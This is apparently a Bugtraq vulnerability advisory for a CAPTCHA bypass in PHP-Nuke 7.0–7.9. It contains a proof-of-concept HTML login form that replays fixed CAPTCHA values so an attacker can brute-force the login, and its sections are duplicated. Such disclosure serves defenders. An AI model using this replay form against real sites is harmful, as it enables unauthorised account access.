PHPNuke CAPTCHA Bypass Weakness
BID:16722
Info
PHPNuke CAPTCHA Bypass Weakness
| Bugtraq ID: | 16722 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 18 2006 12:00AM |
| Updated: | Feb 21 2006 05:57PM |
| Credit: | Discovered by Janek Vind "waraxe". |
| Vulnerable: |
PHP-Nuke PHP-Nuke 7.9 PHP-Nuke PHP-Nuke 7.8 PHP-Nuke PHP-Nuke 7.7 PHP-Nuke PHP-Nuke 7.6 PHP-Nuke PHP-Nuke 7.5 PHP-Nuke PHP-Nuke 7.4 PHP-Nuke PHP-Nuke 7.3 PHP-Nuke PHP-Nuke 7.2 PHP-Nuke PHP-Nuke 7.1 PHP-Nuke PHP-Nuke 7.0 |
| Not Vulnerable: | |
Discussion
PHPNuke CAPTCHA Bypass Weakness
The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.
This may be used to carry out other attacks such as brute-force attempts against the login page.
The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.
This may be used to carry out other attacks such as brute-force attempts against the login page.
Exploit / POC
PHPNuke CAPTCHA Bypass Weakness
An exploit is not required.
The following proof of concept is available:
[------ real life exploit ------]
<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>
<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">
Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>
<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">
<input type="hidden" name="op" value="login">
<input type="submit" value="Login">
</form>
<br><br><br><br>
</center>
</body>
</html>
[----- /real life exploit ------]
An exploit is not required.
The following proof of concept is available:
[------ real life exploit ------]
<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>
<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">
Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>
<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">
<input type="hidden" name="op" value="login">
<input type="submit" value="Login">
</form>
<br><br><br><br>
</center>
</body>
</html>
[----- /real life exploit ------]
Solution / Fix
PHPNuke CAPTCHA Bypass Weakness
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
PHPNuke CAPTCHA Bypass Weakness
References:
References: